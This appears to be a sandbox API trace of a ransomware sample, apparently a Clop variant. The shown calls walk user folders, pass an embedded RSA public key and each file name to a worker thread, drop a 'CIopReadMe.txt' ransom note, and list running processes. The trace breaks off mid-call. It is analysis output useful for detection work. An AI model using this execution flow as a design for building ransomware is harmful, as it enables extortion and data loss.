(lpString1="Na0N0W_tVH__RG.bmp", lpString2=".") returned 1 [0107.341] Sleep (dwMilliseconds=0xd) [0107.466] lstrcpyA (in: lpString1=0x1ebb504, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.466] lstrcpyW (in: lpString1=0x1ebba62, lpString2="Na0N0W_tVH__RG.bmp" | out: lpString1="Na0N0W_tVH__RG.bmp") returned="Na0N0W_tVH__RG.bmp" [0107.466] lstrcpyW (in: lpString1=0x1ebb662, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" [0107.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebb504, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0107.466] SetErrorMode (uMode=0x1) returned 0x1 [0107.466] wsprintfW (in: param_1=0x1ebb0c8, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\CIopReadMe.txt") returned 73 [0107.466] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0107.466] CloseHandle (hObject=0x6c0) returned 1 [0107.467] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0 [0107.467] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0107.467] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0107.467] lstrcpyW (in: lpString1=0x1ebc8dc, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws" [0107.467] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\*.*" [0107.467] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\*.*", lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0x67e838 [0107.467] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws") returned="85KqQFXPbTBEpm1Ws" [0107.467] lstrcpyW (in: lpString1=0x1ebb2d0, lpString2="85KqQFXPbTBEpm1Ws" | out: lpString1="85KqQFXPbTBEpm1Ws") returned="85KqQFXPbTBEpm1Ws" [0107.467] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.467] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.467] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.467] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.467] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.467] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.467] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.467] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.467] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0 [0107.467] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0107.467] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0107.468] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0107.468] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0107.468] lstrcmpW (lpString1="fkya9Y5PGZm9_q", lpString2="..") returned 1 [0107.468] lstrcmpW (lpString1="fkya9Y5PGZm9_q", lpString2=".") returned 1 [0107.468] lstrcpyW (in: lpString1=0x1ebdcf4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" [0107.468] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0107.468] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\", lpString2="fkya9Y5PGZm9_q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q" [0107.468] SetErrorMode (uMode=0x1) returned 0x1 [0107.468] lstrcpyW (in: lpString1=0x1ebc8dc, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q" [0107.468] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" [0107.468] lstrcpyW (in: lpString1=0x1ebc0bc, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" [0107.468] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\*.*" [0107.468] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\*.*", lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0x67e9f8 [0107.468] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q") returned="fkya9Y5PGZm9_q" [0107.468] lstrcpyW (in: lpString1=0x1ebb2d0, lpString2="fkya9Y5PGZm9_q" | out: lpString1="fkya9Y5PGZm9_q") returned="fkya9Y5PGZm9_q" [0107.468] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.468] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.468] lstrcmpW (lpString1="22-J61Dy1gKz.jpg", lpString2="..") returned 1 [0107.468] lstrcmpW (lpString1="22-J61Dy1gKz.jpg", lpString2=".") returned 1 [0107.468] Sleep (dwMilliseconds=0xd) [0107.522] lstrcpyA (in: lpString1=0x1ebb504, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.522] lstrcpyW (in: lpString1=0x1ebba62, lpString2="22-J61Dy1gKz.jpg" | out: lpString1="22-J61Dy1gKz.jpg") returned="22-J61Dy1gKz.jpg" [0107.522] lstrcpyW (in: lpString1=0x1ebb662, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" [0107.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebb504, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0107.522] WaitForSingleObject (hHandle=0x694, dwMilliseconds=0xffffffff) returned 0x0 [0107.701] SetErrorMode (uMode=0x1) returned 0x1 [0107.701] wsprintfW (in: param_1=0x1ebb0c8, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\CIopReadMe.txt") returned 70 [0107.701] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.701] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0107.701] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0107.701] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0107.701] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0107.701] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0107.701] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0107.717] WriteFile (in: hFile=0x6c0, lpBuffer=0x5f1458*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x1ebb0c0, lpOverlapped=0x0 | out: lpBuffer=0x5f1458*, lpNumberOfBytesWritten=0x1ebb0c0*=0x759, lpOverlapped=0x0) returned 1 [0107.718] CloseHandle (hObject=0x6c0) returned 1 [0107.718] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.718] lstrcmpW (lpString1="Ins8Esh4IdpaiiYPl TD.avi", lpString2="..") returned 1 [0107.718] lstrcmpW (lpString1="Ins8Esh4IdpaiiYPl TD.avi", lpString2=".") returned 1 [0107.718] Sleep (dwMilliseconds=0xd) [0107.778] lstrcpyA (in: lpString1=0x1ebb504, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.778] lstrcpyW (in: lpString1=0x1ebba62, lpString2="Ins8Esh4IdpaiiYPl TD.avi" | out: lpString1="Ins8Esh4IdpaiiYPl TD.avi") returned="Ins8Esh4IdpaiiYPl TD.avi" [0107.778] lstrcpyW (in: lpString1=0x1ebb662, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" [0107.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebb504, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c [0107.778] WaitForSingleObject (hHandle=0x53c, dwMilliseconds=0xffffffff) returned 0x0 [0107.872] SetErrorMode (uMode=0x1) returned 0x1 [0107.872] wsprintfW (in: param_1=0x1ebb0c8, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\CIopReadMe.txt") returned 70 [0107.872] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0107.872] CloseHandle (hObject=0x344) returned 1 [0107.873] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0 [0107.873] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0107.873] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0107.873] lstrcpyW (in: lpString1=0x1ebc8dc, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q" [0107.873] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\*.*" [0107.873] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\*.*", lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0x67e838 [0107.873] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q") returned="fkya9Y5PGZm9_q" [0107.873] lstrcpyW (in: lpString1=0x1ebb2d0, lpString2="fkya9Y5PGZm9_q" | out: lpString1="fkya9Y5PGZm9_q") returned="fkya9Y5PGZm9_q" [0107.873] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.873] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.873] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.873] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.873] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.873] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.873] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.873] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0 [0107.873] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0107.873] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0107.873] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0107.873] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0107.873] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0107.873] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 0 [0107.874] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0107.874] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0107.874] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 0 [0107.874] FindClose (in: hFindFile=0x6493b8 | out: hFindFile=0x6493b8) returned 1 [0107.874] FindClose (in: hFindFile=0x6493b8 | out: hFindFile=0x6493b8) returned 0 [0107.874] Sleep (dwMilliseconds=0xffffffff) Thread: id = 4 os_tid = 0xd7c Thread: id = 5 os_tid = 0xd80 Thread: id = 6 os_tid = 0xd84 Thread: id = 7 os_tid = 0xd88 Thread: id = 8 os_tid = 0xd8c Thread: id = 25 os_tid = 0xf44 [0080.067] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x314 [0080.071] Process32FirstW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0080.071] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0080.071] lstrlenW (lpString="[System Process]") returned 16 [0080.071] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0080.071] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0080.071] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0080.071] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x66, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0080.072] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0080.072] lstrlenW (lpString="System") returned 6 [0080.072] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0080.072] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0080.072] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0080.072] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0080.073] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0080.073] lstrlenW (lpString="smss.exe") returned 8 [0080.073] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0080.073] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0080.073] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0080.073] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0080.073] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0080.073] lstrlenW (lpString="csrss.exe") returned 9 [0080.074] CharUpperBuffW (in: 